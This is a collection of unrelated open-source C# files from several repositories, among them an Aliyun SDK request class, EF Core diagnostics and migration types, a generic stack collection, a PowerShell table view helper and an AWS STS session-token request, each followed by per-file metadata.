the Item")] public bool DrawBorder {get;set;} protected new Size DefaultSize {get;set;} // public bool VisibleInReport {get;set;} #endregion [System.ComponentModel.EditorBrowsableAttribute()] protected override void OnPaint(System.Windows.Forms.PaintEventArgs e) { base.OnPaint(e); } public abstract void Draw(Graphics graphics); private void InitializeComponent() { this.SuspendLayout(); this.ResumeLayout(false); } } }
29.396226
94
0.699615
[ "MIT" ]
galich/SharpDevelop
src/AddIns/Misc/Reports/ICSharpCode.Reports.Addin/Project/ReportItems/AbstractItem.cs
3,118
C#
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ using System.Collections.Generic; using Aliyun.Acs.Core; using Aliyun.Acs.Core.Http; using Aliyun.Acs.Core.Transform; using Aliyun.Acs.Core.Utils; using Aliyun.Acs.codeup; using Aliyun.Acs.codeup.Transform; using Aliyun.Acs.codeup.Transform.V20200414; namespace Aliyun.Acs.codeup.Model.V20200414 { public class DeleteGroupMemberRequest : RoaAcsRequest<DeleteGroupMemberResponse> { public DeleteGroupMemberRequest() : base("codeup", "2020-04-14", "DeleteGroupMember") { UriPattern = "/api/v3/groups/[GroupId]/members/[UserId]"; Method = MethodType.DELETE; } private string organizationId; private string subUserId; private long? groupId; private string accessToken; private long? userId; public string OrganizationId { get { return organizationId; } set { organizationId = value; DictionaryUtil.Add(QueryParameters, "OrganizationId", value); } } public string SubUserId { get { return subUserId; } set { subUserId = value; DictionaryUtil.Add(QueryParameters, "SubUserId", value); } } public long? GroupId { get { return groupId; } set { groupId = value; DictionaryUtil.Add(PathParameters, "GroupId", value.ToString()); } } public string AccessToken { get { return accessToken; } set { accessToken = value; DictionaryUtil.Add(QueryParameters, "AccessToken", value); } } public long? UserId { get { return userId; } set { userId = value; DictionaryUtil.Add(PathParameters, "UserId", value.ToString()); } } public override bool CheckShowJsonItemName() { return false; } public override DeleteGroupMemberResponse GetResponse(UnmarshallerContext unmarshallerContext) { return DeleteGroupMemberResponseUnmarshaller.Unmarshall(unmarshallerContext); } } }
22.595238
102
0.666667
[ "Apache-2.0" ]
AxiosCros/aliyun-openapi-net-sdk
aliyun-net-sdk-codeup/Codeup/Model/V20200414/DeleteGroupMemberRequest.cs
2,847
C#
//--------------------------------------------------------- // <auto-generated> // This code was generated by a tool. Changes to this // file may cause incorrect behavior and will be lost // if the code is regenerated. // // Generated on 2020 October 09 06:00:42 UTC // </auto-generated> //--------------------------------------------------------- using System; using System.CodeDom.Compiler; using System.Diagnostics; using System.Reflection; using System.Runtime.CompilerServices; using go; #nullable enable namespace go { namespace cmd { namespace vendor { namespace golang.org { namespace x { namespace sys { public static partial class unix_package { [GeneratedCode("go2cs", "0.1.0.0")] public partial struct CryptoReportLarval { // Constructors public CryptoReportLarval(NilType _) { this.Type = default; } public CryptoReportLarval(array<sbyte> Type = default) { this.Type = Type; } // Enable comparisons between nil and CryptoReportLarval struct [MethodImpl(MethodImplOptions.AggressiveInlining)] public static bool operator ==(CryptoReportLarval value, NilType nil) => value.Equals(default(CryptoReportLarval)); [MethodImpl(MethodImplOptions.AggressiveInlining)] public static bool operator !=(CryptoReportLarval value, NilType nil) => !(value == nil); [MethodImpl(MethodImplOptions.AggressiveInlining)] public static bool operator ==(NilType nil, CryptoReportLarval value) => value == nil; [MethodImpl(MethodImplOptions.AggressiveInlining)] public static bool operator !=(NilType nil, CryptoReportLarval value) => value != nil; [MethodImpl(MethodImplOptions.AggressiveInlining)] public static implicit operator CryptoReportLarval(NilType nil) => default(CryptoReportLarval); } [GeneratedCode("go2cs", "0.1.0.0")] public static CryptoReportLarval CryptoReportLarval_cast(dynamic value) { return new CryptoReportLarval(value.Type); } } }}}}}}
33.515152
127
0.613924
[ "MIT" ]
GridProtectionAlliance/go2cs
src/go-src-converted/cmd/vendor/golang.org/x/sys/unix/ztypes_linux_sparc64_CryptoReportLarvalStruct.cs
2,212
C#
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. using System; using System.Diagnostics; namespace Microsoft.EntityFrameworkCore.Diagnostics { /// <summary> /// A <see cref="DiagnosticSource" /> event payload class for Cosmos item command executed events. /// </summary> public class CosmosItemCommandExecutedEventData : EventData { /// <summary> /// Constructs the event payload. /// </summary> /// <param name="eventDefinition"> The event definition. </param> /// <param name="messageGenerator"> A delegate that generates a log message for this event. </param> /// <param name="elapsed"> The time elapsed since the command was sent to the database. </param> /// <param name="requestCharge"> The request charge in RU. </param> /// <param name="activityId"> The activity ID. </param> /// <param name="resourceId"> The ID of the resource being read. </param> /// <param name="containerId"> The ID of the Cosmos container being queried. </param> /// <param name="partitionKey"> The key of the Cosmos partition that the query is using. </param> /// <param name="logSensitiveData"> Indicates whether the application allows logging of sensitive data. </param> public CosmosItemCommandExecutedEventData( EventDefinitionBase eventDefinition, Func<EventDefinitionBase, EventData, string> messageGenerator, TimeSpan elapsed, double requestCharge, string activityId, string containerId, string resourceId, string? partitionKey, bool logSensitiveData) : base(eventDefinition, messageGenerator) { Elapsed = elapsed; RequestCharge = requestCharge; ActivityId = activityId; ContainerId = containerId; ResourceId = resourceId; PartitionKey = partitionKey; LogSensitiveData = logSensitiveData; } /// <summary> /// The time elapsed since the command was sent to the database. /// </summary> public virtual TimeSpan Elapsed { get; } /// <summary> /// The request charge in RU. /// </summary> public virtual double RequestCharge { get; } /// <summary> /// The activity ID. /// </summary> public virtual string ActivityId { get; } /// <summary> /// The ID of the Cosmos container being queried. /// </summary> public virtual string ContainerId { get; } /// <summary> /// The ID of the resource being read. /// </summary> public virtual string ResourceId { get; } /// <summary> /// The key of the Cosmos partition that the query is using. /// </summary> public virtual string? PartitionKey { get; } /// <summary> /// Indicates whether the application allows logging of sensitive data. /// </summary> public virtual bool LogSensitiveData { get; } } }
38.963855
120
0.599258
[ "MIT" ]
GrizzlyEnglish/efcore
src/EFCore.Cosmos/Diagnostics/CosmosItemCommandExecutedEventData.cs
3,234
C#
// Copyright (c) .NET Foundation. All rights reserved. // Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using System.Diagnostics; using JetBrains.Annotations; namespace Microsoft.EntityFrameworkCore.Migrations.Operations { /// <summary> /// A <see cref="MigrationOperation" /> for dropping an existing check constraint. /// </summary> [DebuggerDisplay("ALTER TABLE {Table} DROP CONSTRAINT {Name}")] public class DropCheckConstraintOperation : MigrationOperation, ITableMigrationOperation { /// <summary> /// The name of the constraint. /// </summary> public virtual string Name { get; [param: NotNull] set; } /// <summary> /// The schema that contains the table, or <see langword="null" /> if the default schema should be used. /// </summary> public virtual string Schema { get; [param: CanBeNull] set; } /// <summary> /// The table that contains the constraint. /// </summary> public virtual string Table { get; [param: NotNull] set; } } }
37.032258
116
0.642857
[ "Apache-2.0" ]
0b01/efcore
src/EFCore.Relational/Migrations/Operations/DropCheckConstraintOperation.cs
1,148
C#
using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; namespace GenericControllers.Controllers { public abstract class GenericResourceController<TResource> where TResource : new() { /// <summary> /// Creates a resource /// </summary> /// <param name="resource">The resource</param> /// <returns></returns> [HttpPost] [ProducesResponseType(201)] [Consumes("application/json")] public int Create([FromBody, Required]TResource resource) { return 1; } ///// <summary> ///// Retrieves all resources ///// </summary> //[HttpGet] //[Produces("application/json")] //public IEnumerable<TResource> GetAll(string keywords) //{ // return new[] { new TResource(), new TResource() }; //} ///// <summary> ///// Retrieves a specific resource ///// </summary> //[HttpGet("{id}")] //[Produces("application/json")] //public TResource GetById(int id) //{ // return new TResource(); //} //[HttpPut("{id}")] //[Consumes("application/json")] //public void Update(int id, [FromBody, Required]TResource resource) //{ //} //[HttpDelete("{id}")] //public void Delete(int id) //{ //} //[HttpPut("{id}/files")] //[Consumes("multipart/form-data")] //public void UploadFile(int id, IFormFile files) //{ //} } }
27.5
86
0.530909
[ "MIT" ]
AesisGit/Swashbuckle.AspNetCore
test/WebSites/GenericControllers/Controllers/GenericResourceController.cs
1,652
C#
namespace Engine.Model { public class Card { private readonly string _suit; private readonly int _value; public string Suit => _suit; public int Value => _value; public Card(string suit, int value) { _suit = suit; _value = value; } } }
19.411765
43
0.527273
[ "MIT" ]
isonym/MalifauxCharSheet
MalifauxCharSheet/Engine/Model/Card.cs
332
C#
using System; using System.Collections.Generic; using System.Linq; namespace DotVVM.Diagnostics.ServerSideCache.Services { public class FullPostBackStatsEntry { public string RouteName { get; set; } public long CacheMissDiffBytes { get; set; } public long FullPostBackBytes { get; set; } public int CacheMissPostBackCount { get; set; } public int FullPostBackCount { get; set; } } }
21.047619
55
0.678733
[ "Apache-2.0" ]
riganti/dotvvm-diagnostics-server-side-cache
src/DotVVM.Diagnostics.ServerSideCache/Services/FullPostBackStatsEntry.cs
444
C#
// ---------------------------------------------------------------------------- // The MIT License // LeopotamGroupLibrary https://github.com/Leopotam/LeopotamGroupLibraryUnity // Copyright (c) 2012-2017 Leopotam <leopotam@gmail.com> // ---------------------------------------------------------------------------- using System; using System.Collections.Generic; namespace LeopotamGroup.Collections { /// <summary> /// Stack class replacement with custom EqualityComparer and fastest comparation with direct cast to "System.Object" /// (useful for MonoBehaviour-inherited classes). /// </summary> public class FastStack<T> { const int InitCapacity = 8; T[] _items; int _capacity; int _count; bool _isNullable; EqualityComparer<T> _comparer; bool _useObjectCastComparer; /// <summary> /// Default constructor. /// </summary> public FastStack () : this (null) { } /// <summary> /// Constructor with comparer initialization. /// </summary> /// <param name="comparer">Comparer. If null - default comparer will be used.</param> public FastStack (EqualityComparer<T> comparer) : this (InitCapacity, comparer) { } /// <summary> /// Constructor with capacity and comparer initialization. /// </summary> /// <param name="capacity">Capacity on start.</param> /// <param name="comparer">Comparer. If null - default comparer will be used.</param> public FastStack (int capacity, EqualityComparer<T> comparer = null) { var type = typeof (T); _isNullable = !type.IsValueType || (Nullable.GetUnderlyingType (type) != null); _capacity = capacity > InitCapacity ? capacity : InitCapacity; _count = 0; _comparer = comparer; _items = new T[_capacity]; } /// <summary> /// Get items count. /// </summary> public int Count { get { return _count; } } /// <summary> /// Clear collection without release memory for performance optimization. /// </summary> public void Clear () { if (_isNullable) { for (var i = _count - 1; i >= 0; i--) { _items[i] = default (T); } } _count = 0; } /// <summary> /// Is collection contains specified item. /// </summary> /// <param name="item">Item to check.</param> public bool Contains (T item) { int i; if (_useObjectCastComparer && _isNullable) { for (i = _count - 1; i >= 0; i--) { if ((object) _items[i] == (object) item) { break; } } } else { if (_comparer != null) { for (i = _count - 1; i >= 0; i--) { if (_comparer.Equals (_items[i], item)) { break; } } } else { i = Array.IndexOf (_items, item, 0, _count); } } return i != -1; } /// <summary> /// Copy collection to array and insert from specified index. /// </summary> /// <param name="array">Target array.</param> /// <param name="arrayIndex">Start index at target array.</param> public void CopyTo (T[] array, int arrayIndex) { Array.Copy (_items, 0, array, arrayIndex, _count); } /// <summary> /// Get top item without remove from stack. /// </summary> public T Peek () { if (_count == 0) { throw new IndexOutOfRangeException (); } return _items[_count - 1]; } /// <summary> /// Get top item with remove from stack. /// </summary> public T Pop () { if (_count == 0) { throw new IndexOutOfRangeException (); } _count--; T target = _items[_count]; if (_isNullable) { _items[_count] = default (T); } return target; } /// <summary> /// Add new item to stack. /// </summary> /// <param name="item">New item.</param> public void Push (T item) { if (_count == _capacity) { if (_capacity > 0) { _capacity <<= 1; } else { _capacity = InitCapacity; } var items = new T[_capacity]; Array.Copy (_items, items, _count); _items = items; } _items[_count] = item; _count++; } /// <summary> /// Copy collection items to array. /// </summary> public T[] ToArray () { var target = new T[_count]; if (_count > 0) { Array.Copy (_items, target, _count); } return target; } /// <summary> /// Set capacity to the actual number of elements. /// </summary> public void TrimExcess () { throw new NotSupportedException (); } /// <summary> /// Set usage state of special (fastest) inlined comparer for nullable types in Contains method. /// Useful for MonoBehaviour-inherited classes. /// </summary> /// <param name="state">New state of usage.</param> public void UseCastToObjectComparer (bool state) { _useObjectCastComparer = state; } } }
31.84153
120
0.47074
[ "MIT" ]
gomez-addams/LeopotamGroupLibraryUnity
Collections/FastStack.cs
5,827
C#
// // Copyright (C) Microsoft. All rights reserved. // namespace Microsoft.PowerShell.Commands { using System; using System.Collections.Generic; using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Internal; using Microsoft.PowerShell.Commands.Internal.Format; using System.IO; internal class TableView { private MshExpressionFactory _expressionFactory; private TypeInfoDataBase _typeInfoDatabase; private FormatErrorManager _errorManager; internal void Initialize(MshExpressionFactory expressionFactory, TypeInfoDataBase db) { _expressionFactory = expressionFactory; _typeInfoDatabase = db; // Initialize Format Error Manager. FormatErrorPolicy formatErrorPolicy = new FormatErrorPolicy(); formatErrorPolicy.ShowErrorsAsMessages = _typeInfoDatabase.defaultSettingsSection.formatErrorPolicy.ShowErrorsAsMessages; formatErrorPolicy.ShowErrorsInFormattedOutput = _typeInfoDatabase.defaultSettingsSection.formatErrorPolicy.ShowErrorsInFormattedOutput; _errorManager = new FormatErrorManager(formatErrorPolicy); } internal HeaderInfo GenerateHeaderInfo(PSObject input, TableControlBody tableBody, OutGridViewCommand parentCmdlet) { HeaderInfo headerInfo = new HeaderInfo(); // This verification is needed because the database returns "LastWriteTime" value for file system objects // as strings and it is used to detect this situation and use the actual field value. bool fileSystemObject = typeof(FileSystemInfo).IsInstanceOfType(input.BaseObject); if (tableBody != null) // If the tableBody is null, the TableControlBody info was not put into the database. { // Generate HeaderInfo from the type information database. List<TableRowItemDefinition> activeRowItemDefinitionList = GetActiveTableRowDefinition(tableBody, input); int col = 0; foreach (TableRowItemDefinition rowItem in activeRowItemDefinitionList) { ColumnInfo columnInfo = null; string displayName = null; TableColumnHeaderDefinition colHeader = null; // Retrieve a matching TableColumnHeaderDefinition if (col < tableBody.header.columnHeaderDefinitionList.Count) colHeader = tableBody.header.columnHeaderDefinitionList[col]; if (colHeader != null && colHeader.label != null) { displayName = _typeInfoDatabase.displayResourceManagerCache.GetTextTokenString(colHeader.label); } FormatToken token = null; if (rowItem.formatTokenList.Count > 0) { token = rowItem.formatTokenList[0]; } if (token != null) { FieldPropertyToken fpt = token as FieldPropertyToken; if (fpt != null) { if (displayName == null) { // Database does not provide a label(DisplayName) for the current property, use the expression value instead. displayName = fpt.expression.expressionValue; } if (fpt.expression.isScriptBlock) { MshExpression ex = _expressionFactory.CreateFromExpressionToken(fpt.expression); // Using the displayName as a propertyName for a stale PSObject. const string LastWriteTimePropertyName = "LastWriteTime"; // For FileSystem objects "LastWriteTime" property value should be used although the database indicates that a script should be executed to get the value. if (fileSystemObject && displayName.Equals(LastWriteTimePropertyName, StringComparison.OrdinalIgnoreCase)) { columnInfo = new OriginalColumnInfo(displayName, displayName, LastWriteTimePropertyName, parentCmdlet); } else { columnInfo = new ExpressionColumnInfo(displayName, displayName, ex); } } else { columnInfo = new OriginalColumnInfo(fpt.expression.expressionValue, displayName, fpt.expression.expressionValue, parentCmdlet); } } else { TextToken tt = token as TextToken; if (tt != null) { displayName = _typeInfoDatabase.displayResourceManagerCache.GetTextTokenString(tt); columnInfo = new OriginalColumnInfo(tt.text, displayName, tt.text, parentCmdlet); } } } if (columnInfo != null) { headerInfo.AddColumn(columnInfo); } col++; } } return headerInfo; } internal HeaderInfo GenerateHeaderInfo(PSObject input, OutGridViewCommand parentCmdlet) { HeaderInfo headerInfo = new HeaderInfo(); List<MshResolvedExpressionParameterAssociation> activeAssociationList; // Get properties from the default property set of the object activeAssociationList = AssociationManager.ExpandDefaultPropertySet(input, _expressionFactory); if (activeAssociationList.Count > 0) { // we got a valid set of properties from the default property set..add computername for // remoteobjects (if available) if (PSObjectHelper.ShouldShowComputerNameProperty(input)) { activeAssociationList.Add(new MshResolvedExpressionParameterAssociation(null, new MshExpression(RemotingConstants.ComputerNameNoteProperty))); } } else { // We failed to get anything from the default property set activeAssociationList = AssociationManager.ExpandAll(input); if (activeAssociationList.Count > 0) { // Remove PSComputerName and PSShowComputerName from the display as needed. AssociationManager.HandleComputerNameProperties(input, activeAssociationList); FilterActiveAssociationList(activeAssociationList); } else { // We were unable to retrieve any properties, so we leave an empty list activeAssociationList = new List<MshResolvedExpressionParameterAssociation>(); } } for (int k = 0; k < activeAssociationList.Count; k++) { string propertyName = null; MshResolvedExpressionParameterAssociation association = activeAssociationList[k]; // set the label of the column if (association.OriginatingParameter != null) { object key = association.OriginatingParameter.GetEntry(FormatParameterDefinitionKeys.LabelEntryKey); if (key != AutomationNull.Value) propertyName = (string)key; } if (propertyName == null) { propertyName = association.ResolvedExpression.ToString(); } ColumnInfo columnInfo = new OriginalColumnInfo(propertyName, propertyName, propertyName, parentCmdlet); headerInfo.AddColumn(columnInfo); } return headerInfo; } /// <summary> /// Method to filter resolved expressions as per table view needs. /// For v1.0, table view supports only 10 properties. /// /// This method filters and updates "activeAssociationList" instance property. /// </summary> /// <returns>None.</returns> /// <remarks>This method updates "activeAssociationList" instance property.</remarks> private void FilterActiveAssociationList(List<MshResolvedExpressionParameterAssociation> activeAssociationList) { // we got a valid set of properties from the default property set // make sure we do not have too many properties // NOTE: this is an arbitrary number, chosen to be a sensitive default int nMax = 256; if (activeAssociationList.Count > nMax) { List<MshResolvedExpressionParameterAssociation> tmp = new List<MshResolvedExpressionParameterAssociation>(activeAssociationList); activeAssociationList.Clear(); for (int k = 0; k < nMax; k++) activeAssociationList.Add(tmp[k]); } return; } private List<TableRowItemDefinition> GetActiveTableRowDefinition(TableControlBody tableBody, PSObject so) { if (tableBody.optionalDefinitionList.Count == 0) { // we do not have any override, use default return tableBody.defaultDefinition.rowItemDefinitionList; } // see if we have an override that matches TableRowDefinition matchingRowDefinition = null; var typeNames = so.InternalTypeNames; TypeMatch match = new TypeMatch(_expressionFactory, _typeInfoDatabase, typeNames); foreach (TableRowDefinition x in tableBody.optionalDefinitionList) { if (match.PerfectMatch(new TypeMatchItem(x, x.appliesTo))) { matchingRowDefinition = x; break; } } if (matchingRowDefinition == null) { matchingRowDefinition = match.BestMatch as TableRowDefinition; } if (matchingRowDefinition == null) { Collection<string> typesWithoutPrefix = Deserializer.MaskDeserializationPrefix(typeNames); if (null != typesWithoutPrefix) { match = new TypeMatch(_expressionFactory, _typeInfoDatabase, typesWithoutPrefix); foreach (TableRowDefinition x in tableBody.optionalDefinitionList) { if (match.PerfectMatch(new TypeMatchItem(x, x.appliesTo))) { matchingRowDefinition = x; break; } } if (matchingRowDefinition == null) { matchingRowDefinition = match.BestMatch as TableRowDefinition; } } } if (matchingRowDefinition == null) { // no matching override, use default return tableBody.defaultDefinition.rowItemDefinitionList; } // we have an override, we need to compute the merge of the active cells List<TableRowItemDefinition> activeRowItemDefinitionList = new List<TableRowItemDefinition>(); int col = 0; foreach (TableRowItemDefinition rowItem in matchingRowDefinition.rowItemDefinitionList) { // Check if the row is an override or not if (rowItem.formatTokenList.Count == 0) { // It's a place holder, use the default activeRowItemDefinitionList.Add(tableBody.defaultDefinition.rowItemDefinitionList[col]); } else { // Use the override activeRowItemDefinitionList.Add(rowItem); } col++; } return activeRowItemDefinitionList; } } }
45.077193
186
0.551179
[ "Apache-2.0", "MIT" ]
HydAu/PowerShell
src/Microsoft.PowerShell.Commands.Utility/commands/utility/FormatAndOutput/OutGridView/TableView.cs
12,847
C#
using System; using System.Web; namespace ClassLibrary; internal struct SimpleJsonWriter : IDisposable { private readonly HttpResponse _response; private bool _hasWritten; public SimpleJsonWriter(HttpResponse response) { response.ContentType = "application/json"; _response = response; _hasWritten = false; _response.Output.WriteLine("{"); } public void Dispose() { if (_hasWritten) { _response.Output.WriteLine(); } _response.Output.WriteLine("}"); } public void Write<T>(string name, T item) { if (_hasWritten) { _response.Output.WriteLine(","); } _hasWritten = true; _response.Write(" "); _response.Write('\"'); _response.Write(name); _response.Write("\" : \""); _response.Write(item); _response.Output.Write('\"'); } }
20.106383
50
0.568254
[ "Apache-2.0" ]
fenglui/AspLabs
src/SystemWebAdapters/samples/ClassLibrary/SimpleJsonWriter.cs
945
C#
#region Apache License Version 2.0 /*---------------------------------------------------------------- Copyright 2021 Jeffrey Su & Suzhou Senparc Network Technology Co.,Ltd. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Detail: https://github.com/JeffreySu/WeiXinMPSDK/blob/master/license.md ----------------------------------------------------------------*/ #endregion Apache License Version 2.0 /*---------------------------------------------------------------- Copyright (C) 2021 Senparc 文件名:Semantic_CookbookResult.cs 文件功能描述:语意理解接口菜谱服务(cookbook)返回信息 创建标识:Senparc - 20150211 修改标识:Senparc - 20150303 修改描述:整理接口 ----------------------------------------------------------------*/ namespace Senparc.Weixin.MP.AdvancedAPIs.Semantic { /// <summary> /// 菜谱服务(cookbook) /// </summary> public class Semantic_CookbookResult : BaseSemanticResultJson { public Semantic_Cookbook semantic { get; set; } } public class Semantic_Cookbook : BaseSemanticIntent { public Semantic_Details_Cookbook details { get; set; } } public class Semantic_Details_Cookbook { /// <summary> /// 菜名 /// </summary> public string name { get; set; } /// <summary> /// 菜系 /// </summary> public string category { get; set; } /// <summary> /// 食材 /// </summary> public string ingredient { get; set; } } }
29.590909
90
0.577061
[ "Apache-2.0" ]
554393109/WeiXinMPSDK
src/Senparc.Weixin.MP/Senparc.Weixin.MP/AdvancedAPIs/Semantic/SemanticResult/Semantic_CookbookResult.cs
2,071
C#
/* * Copyright 2010-2014 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ /* * Do not modify this file. This file is generated from the sts-2011-06-15.normal.json service model. */ using System; using System.Collections.Generic; using System.Xml.Serialization; using System.Text; using System.IO; using Amazon.Runtime; using Amazon.Runtime.Internal; namespace Amazon.SecurityToken.Model { /// <summary> /// Container for the parameters to the GetSessionToken operation. /// Returns a set of temporary credentials for an AWS account or IAM user. The credentials /// consist of an access key ID, a secret access key, and a security token. Typically, /// you use <code>GetSessionToken</code> if you want to use MFA to protect programmatic /// calls to specific AWS APIs like Amazon EC2 <code>StopInstances</code>. MFA-enabled /// IAM users would need to call <code>GetSessionToken</code> and submit an MFA code that /// is associated with their MFA device. Using the temporary security credentials that /// are returned from the call, IAM users can then make programmatic calls to APIs that /// require MFA authentication. /// /// /// <para> /// The <code>GetSessionToken</code> action must be called by using the long-term AWS /// security credentials of the AWS account or an IAM user. Credentials that are created /// by IAM users are valid for the duration that you specify, between 900 seconds (15 /// minutes) and 129600 seconds (36 hours); credentials that are created by using account /// credentials have a maximum duration of 3600 seconds (1 hour). /// </para> /// /// <para> /// The permissions associated with the temporary security credentials returned by <code>GetSessionToken</code> /// are based on the permissions associated with account or IAM user whose credentials /// are used to call the action. If <code>GetSessionToken</code> is called using root /// account credentials, the temporary credentials have root account permissions. Similarly, /// if <code>GetSessionToken</code> is called using the credentials of an IAM user, the /// temporary credentials have the same permissions as the IAM user. /// </para> /// /// <para> /// For more information about using <code>GetSessionToken</code> to create temporary /// credentials, go to <a href="http://docs.aws.amazon.com/STS/latest/UsingSTS/CreatingSessionTokens.html" /// target="_blank">Creating Temporary Credentials to Enable Access for IAM Users</a> /// in <i>Using Temporary Security Credentials</i>. /// </para> /// </summary> public partial class GetSessionTokenRequest : AmazonSecurityTokenServiceRequest { private int? _durationSeconds; private string _serialNumber; private string _tokenCode; /// <summary> /// Empty constructor used to set properties independently even when a simple constructor is available /// </summary> public GetSessionTokenRequest() { } /// <summary> /// Gets and sets the property DurationSeconds. /// <para> /// The duration, in seconds, that the credentials should remain valid. Acceptable durations /// for IAM user sessions range from 900 seconds (15 minutes) to 129600 seconds (36 hours), /// with 43200 seconds (12 hours) as the default. Sessions for AWS account owners are /// restricted to a maximum of 3600 seconds (one hour). If the duration is longer than /// one hour, the session for AWS account owners defaults to one hour. /// </para> /// </summary> public int DurationSeconds { get { return this._durationSeconds.GetValueOrDefault(); } set { this._durationSeconds = value; } } // Check to see if DurationSeconds property is set internal bool IsSetDurationSeconds() { return this._durationSeconds.HasValue; } /// <summary> /// Gets and sets the property SerialNumber. /// <para> /// The identification number of the MFA device that is associated with the IAM user who /// is making the <code>GetSessionToken</code> call. Specify this value if the IAM user /// has a policy that requires MFA authentication. The value is either the serial number /// for a hardware device (such as <code>GAHT12345678</code>) or an Amazon Resource Name /// (ARN) for a virtual device (such as <code>arn:aws:iam::123456789012:mfa/user</code>). /// You can find the device for an IAM user by going to the AWS Management Console and /// viewing the user's security credentials. /// </para> /// </summary> public string SerialNumber { get { return this._serialNumber; } set { this._serialNumber = value; } } // Check to see if SerialNumber property is set internal bool IsSetSerialNumber() { return this._serialNumber != null; } /// <summary> /// Gets and sets the property TokenCode. /// <para> /// The value provided by the MFA device, if MFA is required. If any policy requires the /// IAM user to submit an MFA code, specify this value. If MFA authentication is required, /// and the user does not provide a code when requesting a set of temporary security credentials, /// the user will receive an "access denied" response when requesting resources that require /// MFA authentication. /// </para> /// </summary> public string TokenCode { get { return this._tokenCode; } set { this._tokenCode = value; } } // Check to see if TokenCode property is set internal bool IsSetTokenCode() { return this._tokenCode != null; } } }
44.60274
115
0.658784
[ "Apache-2.0" ]
amazon-archives/aws-sdk-xamarin
AWS.XamarinSDK/AWSSDK_Android/Amazon.SecurityToken/Model/GetSessionTokenRequest.cs
6,512
C#
//----------------------------------------------------------------------- // <copyright file="ApiDisplayUvCoords.cs" company="Google"> // // Copyright 2017 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // </copyright> //----------------------------------------------------------------------- namespace GoogleARCoreInternal { using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using UnityEngine; /// <summary> /// UV coordinates for the four corners of the display. /// </summary> [StructLayout(LayoutKind.Sequential)] [SuppressMessage("StyleCop.CSharp.DocumentationRules", "SA1600:ElementsMustBeDocumented", Justification = "Internal")] public struct ApiDisplayUvCoords { /// <summary> /// Number of floats contained in this struct. /// </summary> public const int NumFloats = 8; public Vector2 TopLeft; public Vector2 TopRight; public Vector2 BottomLeft; public Vector2 BottomRight; public ApiDisplayUvCoords(Vector2 topLeft, Vector2 topRight, Vector2 bottomLeft, Vector2 bottomRight) { TopLeft = topLeft; TopRight = topRight; BottomLeft = bottomLeft; BottomRight = bottomRight; } } }
33.836364
93
0.622783
[ "MIT" ]
2D/STARThack
LeicaPresentation/Unity/Assets/GoogleARCore/SDK/Scripts/Api/Types/ApiDisplayUvCoords.cs
1,863
C#